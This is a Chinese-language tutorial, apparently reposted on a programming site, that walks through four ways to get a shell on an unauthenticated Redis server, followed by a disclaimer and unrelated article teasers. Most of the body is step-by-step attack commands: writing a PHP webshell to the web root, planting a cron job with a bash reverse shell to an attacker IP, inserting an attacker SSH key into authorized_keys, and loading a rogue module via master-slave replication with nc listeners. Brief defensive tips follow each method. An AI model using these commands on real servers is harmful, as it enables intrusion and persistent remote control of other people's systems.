Redis四种GetShell方式完整教程

Redis作为高性能内存数据库,若未正确配置认证和访问控制,可能被攻击者利用实现远程代码执行(GetShell)。本文详细讲解四种常见的Redis GetShell方式,涵盖原理、操作步骤及防御建议。

方式一:直接写入Shell脚本​

​原理​

通过Redis的CONFIG SET命令修改数据库存储路径和文件名,将恶意脚本写入Web目录,利用Web服务解析执行。

​操作步骤​

​1. 环境准备​
  • 目标Redis服务未授权访问(绑定0.0.0.0:6379且无密码)。
  • 已知目标Web服务路径(如/var/www/html)。
​2. 连接Redis​

使用redis-cli连接目标Redis:

redis-cli -h 目标IP -p 6379
​3. 修改Redis配置​

通过CONFIG SET命令设置数据库存储路径和文件名:

CONFIG SET dir /var/www/html  # 修改存储路径为Web目录
CONFIG SET dbfilename shell.php  # 设置文件名为shell.php
​4. 写入恶意脚本​

使用SET命令写入PHP WebShell内容:

SET shell "<?php system($_GET['cmd']);?>"
​5. 保存配置​

执行SAVE命令将数据持久化到磁盘:

SAVE

此时/var/www/html/shell.php文件已生成,可通过浏览器访问http://目标IP/shell.php?cmd=whoami验证。

​防御建议​

  • 限制Redis访问IP(bind 127.0.0.1)。
  • 设置强密码(requirepass)。
  • 禁止Redis写入系统关键目录(如/var/www)。

​方式二:定时任务写入反弹Shell​

​原理​

通过Redis的CONFIG SET修改dir/var/spool/cron/(Linux定时任务目录),写入反弹Shell的定时任务,触发后连接攻击机。

​操作步骤​

​1. 环境准备​
  • 目标Redis未授权访问。
  • 目标系统为Linux,且Redis进程有权限写入/var/spool/cron/
​2. 连接Redis并修改配置​
redis-cli -h 目标IP -p 6379
CONFIG SET dir /var/spool/cron/  # 修改存储路径为cron目录
CONFIG SET dbfilename root      # 文件名为root(针对root用户的cron)
​3. 写入反弹Shell命令​

反弹Shell到攻击机(假设攻击机IP为192.168.1.100,端口4444):

SET root "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\n\n"

​注意​​:

  • \n\n用于避免破坏cron文件格式。
  • 定时任务每分钟执行一次,连接攻击机。
​4. 保存配置​
SAVE

攻击机监听端口:

nc -lvvp 4444

若连接成功,可执行任意命令(如whoami)。

​防御建议​

  • 限制Redis对系统目录的写入权限。
  • 监控/var/spool/cron/目录的异常修改。

​方式三:写SSH公钥登录服务器​

​原理​

通过Redis写入~/.ssh/authorized_keys文件,将攻击者的SSH公钥添加到目标服务器,实现免密登录。

​操作步骤​

​1. 环境准备​
  • 目标Redis未授权访问。
  • 目标服务器开启SSH服务且Redis进程有权限写入/root/.ssh/(或当前用户目录)。
​2. 生成SSH密钥对​

在攻击机上生成密钥对(若已有可跳过):

ssh-keygen -t rsa  # 默认保存到~/.ssh/id_rsa.pub
​3. 连接Redis并修改配置​
redis-cli -h 目标IP -p 6379
CONFIG SET dir /root/.ssh/  # 修改存储路径为.ssh目录
CONFIG SET dbfilename authorized_keys  # 文件名为authorized_keys
​4. 写入公钥​

将公钥内容写入Redis(需替换实际公钥):

SET authorized_keys "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...攻击机公钥内容..."
​5. 保存配置​
SAVE

攻击机直接SSH登录目标服务器:

ssh root@目标IP

无需密码即可登录。

​防御建议​

  • 限制Redis对/root/.ssh/目录的访问。
  • 禁用Redis的SAVE命令(通过rename-command SAVE "")。

​方式四:Redis主从复制GetShell​

​原理​

利用Redis主从复制机制,诱骗目标Redis作为从节点,加载攻击者构造的恶意RDB文件,在加载过程中执行任意代码。

​操作步骤​

​1. 环境准备​
  • 目标Redis未授权访问。
  • 攻击机搭建恶意Redis服务(需编译支持动态模块的Redis版本)。
​2. 攻击机生成恶意RDB文件​
  • 使用redis-rogue-server工具(需Python环境)生成包含恶意模块的RDB文件:
    git clone https://github.com/n0b0dyCN/redis-rogue-server.git
    cd redis-rogue-server
    pip3 install -r requirements.txt
    python3 redis-rogue-server.py --rhost 目标IP --lhost 攻击机IP
    工具会自动生成恶意RDB文件并启动监听。
​3. 配置目标Redis为主从复制​

在攻击机上执行:

redis-cli -h 目标IP -p 6379
SLAVEOF 攻击机IP 6379  # 将目标Redis设为从节点,连接攻击机
CONFIG SET masterauth ""  # 若主节点有密码需配置(此处无密码)

目标Redis会尝试从攻击机拉取RDB文件并加载,触发恶意代码执行。

​4. 获取反弹Shell​

攻击机监听端口(如4444):

nc -lvvp 4444

目标Redis加载恶意模块后,攻击机将收到反弹Shell。

​防御建议​

  • 禁用主从复制功能(replica-read-only yes)。
  • 升级Redis至最新版本(修复已知漏洞)。

​总结与防护措施​

​方式​​关键利用点​​防御方法​
直接写入Shell修改dirdbfilename限制写入目录、设置密码、禁用高危命令
定时任务反弹Shell写入/var/spool/cron/监控cron目录、限制Redis权限
SSH公钥登录写入~/.ssh/authorized_keys限制.ssh目录访问、禁用Redis写入系统文件
主从复制GetShell加载恶意RDB文件禁用主从复制、升级Redis版本

​通用防护建议​​:

  1. ​最小化暴露​​:禁止Redis绑定公网IP,使用防火墙限制访问源。
  2. ​强认证​​:设置复杂密码(requirepass)。
  3. ​定期审计​​:检查Redis配置和系统关键目录(如/var/www/root/.ssh/)。
  4. ​日志监控​​:记录Redis操作日志,设置异常告警。

通过本文的详细分析,读者可深入理解Redis GetShell的原理及防御方法,提升系统安全性。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/90830.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/90830.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

clock_nanosleep系统调用及示例

41. clock_nanosleep - 高精度睡眠 函数介绍 clock_nanosleep系统调用提供纳秒级精度的睡眠功能&#xff0c;支持绝对时间和相对时间两种模式&#xff0c;比传统的nanosleep更加灵活。 函数原型 #include <time.h>int clock_nanosleep(clockid_t clock_id, int flags,con…

用了Flutter包体积增大就弃用Flutter吗?包体积与开发效率,这两者之间如何权衡?

是否因包体积增大而弃用 Flutter&#xff0c;本质上是 “短期成本&#xff08;包体积&#xff09;” 与 “长期价值&#xff08;跨平台效率、体验一致性等&#xff09;” 的权衡 。这一决策没有绝对答案&#xff0c;需结合项目阶段、用户群体、业务需求等具体场景分析。以下从核…

80道面试经典题目

1.OSI参考模型七层网络协议? 物理层:定义计算机、网络设备、以及直接连接的介质、接口类型的标准,建立比特流的传输,用来组件物理网络的连接。 数据链路层:建立逻辑连接、进行硬件地址寻址,差错校验、差错恢复等功能。 网络层:进行逻辑地址寻址,实现不同网络之间的通…

本周大模型新动向:KV缓存压缩、低成本高性能推理框架、多智能体协作

点击蓝字关注我们AI TIME欢迎每一位AI爱好者的加入&#xff01;01Compress Any Segment Anything Model (SAM)受SAM在零样本分割任务上卓越表现的驱动&#xff0c;其各类变体已被广泛应用于医疗、智能制造等场景。然而&#xff0c;SAM系列模型体量巨大&#xff0c;严重限制了在…

利用frp实现内网穿透功能(服务器)Linux、(内网)Windows

适用于&#xff1a; 本地电脑&#xff08;windows&#xff09;或者Linux(本篇未介绍&#xff09; 工具&#xff1a;FRP&#xff08;fast reverse proxy&#xff09; 系统&#xff1a;Linux、Windows 架构&#xff1a;x86、amd Frp版本&#xff1a;frp_0.62.1_windows_amd64准备…

结合二八定律安排整块时间

你是不是常常感觉一天到晚忙忙碌碌&#xff0c;却总觉得没干成几件“要紧事”&#xff1f;时间仿佛从指缝间溜走&#xff0c;成就感却迟迟不来&#xff1f;其实&#xff0c;高效能人士的秘诀往往藏在最简单的原则里。今天&#xff0c;我们就来聊聊如何巧妙运用“二八定律”&…

波形发生器AWG硬件设计方案

目录 简介 设计需求 设计方案 核心原理图展示 简介 波形发生器是一种数据信号发生器&#xff0c;在调试硬件时&#xff0c;常常需要加入一些信号&#xff0c;以观察电路工作是否正常。用一般的信号发生器&#xff0c;不但笨重&#xff0c;而且只发一些简单的波形&#xff…

11.Dockerfile简介

1.是什么&#xff1f; dockerfile是用来构建镜像的文本文件&#xff0c;是由一条条构建镜像所需的指令和参数构成的脚本。 构建三步骤 编写dockerfile文件docker build命令构建镜像docker run依镜像运行的容器实列 2.dockerfile构建过程解析 1)dockerfile内容的基础知识 …

C# 接口(interface 定义接口的关键字)

目录 使用接口案例 接口继承 练习 定义一个接口&#xff0c;在语法中与定义一个抽象类是没有区别的&#xff0c;但是不允许提供接口中任意成员的实现方式&#xff0c;一般接口只会包含方法 、索引器和事件的声明&#xff0c; 不允许声明成员的修饰符&#xff0c; public都不…

5190 - 提高:DFS序和欧拉序:树上操作(区域修改1)

题目传送门 时间限制 : 2 秒 内存限制 : 256 MB 有一棵点数为 N 的树&#xff0c;以点 1 为根&#xff0c;且树点有边权。然后有 M 个 操作&#xff0c;分为三种&#xff1a; 操作 1 &#xff1a;把某个节点 x 的点权增加 a 。 操作 2 &#xff1a;把某个节点 x 为根的子树中…

【Oracle】数据泵

ORACLE数据库 数据泵 核心参数全解析 ORACLE expdp 命令使用详解 1.ATTACH[schema_name.]job_name Schema_name 用于指定方案名,job_name 用于指定导出作业名.注意,如果使用 ATTACH 选项,在命令行除了连接字符串和 ATTACH 选项外,不能指定任何其他选项,示例如下: expdp hr/hr A…

机器学习的算法有哪些?

&#x1f31f; 欢迎来到AI奇妙世界&#xff01; &#x1f31f; 亲爱的开发者朋友们&#xff0c;大家好&#xff01;&#x1f44b; 我是人工智能领域的探索者与分享者&#xff0c;很高兴在CSDN与你们相遇&#xff01;&#x1f389; 在这里&#xff0c;我将持续输出AI前沿技术、实…

【计算机网络】OSI七层模型

OSI七层模型为什么需要OSI七层模型&#xff1f;OSI七层模型具体是什么&#xff1f;Layer7&#xff1a;应用层&#xff08;Application Layer&#xff09;Layer6&#xff1a;表示层&#xff08;Presentation Layer&#xff09;Layer5&#xff1a;会话层&#xff08;Session Laye…

RS485转Profinet网关配置指南:高效启动JRT激光测距传感器测量模式

RS485转Profinet网关配置指南&#xff1a;高效启动JRT激光测距传感器测量模式RS485转Profinet网关&#xff1a;让JRT激光测距传感器高效开启测量模式在工业自动化场景中&#xff0c;设备间的高效通信是实现精准控制的关键。RS485转Profinet网关作为连接传统RS485设备与现代Prof…

「日拱一码」040 机器学习-不同模型可解释方法

目录 K最近邻(KNN) - 基于距离的模型 决策边界可视化 查看特定样本的最近邻 ​随机森林(RF) - 树模型 feature_importances_ SHAP值分析 可视化单棵树 多层感知器(MLP) - 神经网络 部分依赖图 LIME解释器 权重可视化 支持向量回归(SVR) - 核方法 支持向量可视化 部…

编程与数学 03-002 计算机网络 09_传输层功能

编程与数学 03-002 计算机网络 09_传输层功能一、传输层的作用&#xff08;一&#xff09;进程间通信&#xff08;二&#xff09;提供可靠传输&#xff08;三&#xff09;复用与分用二、TCP协议&#xff08;一&#xff09;TCP的连接建立与释放&#xff08;二&#xff09;TCP的可…

14. Web服务器-Nginx-工作原理

文章目录前言一、简介二、工作原理1. 多进程架构2. 事件驱动模型3. 模块化设计三、工作流程1. 启动阶段2. 等待连接3. 请求处理阶段4. 响应构造与输出5. 连接关闭前言 Nginx‌ Nginx&#xff08;发音为“Engine-X”&#xff09;是一款高性能的开源Web服务器软件&#xff0c;同…

AP-0316:集 USB 即插即用、智能降噪于一体的多功能 AI 声卡,重新定义清晰语音交互

AP-0316突发噪音和抗风噪测试还在为语音设备的噪音刺耳、连接复杂、功放适配麻烦而头疼&#xff1f;AP-0316 多功能 AI 降噪消回音 USB 声卡来了 —— 以 “USB 即插即用 自带功放 智能降噪 场景适配” 四大核心优势&#xff0c;将专业级语音处理技术变得简单易用&#xff0…

Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现卫星图像识别(C#代码,UI界面版)

Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现卫星图像识别&#xff08;C#代码&#xff0c;UI界面版&#xff09;工业相机使用YoloV8模型实现水下鱼类识别工业相机通过YoloV8模型实现卫星图像识别的技术背景在相机SDK中获取图像转换图像的代码分析工业相机图像转换…

某d的评论爬虫学习

本教程仅用于技术研究&#xff0c;请确保遵守目标网站的服务条款。实际使用前应获得官方授权&#xff0c;避免高频请求影响服务器&#xff0c;否则可能承担法律责任。此脚本仅拦截公开评论接口&#xff0c;不涉及用户私密数据。请勿修改代码监听其他请求。分享一下爬某抖评论的…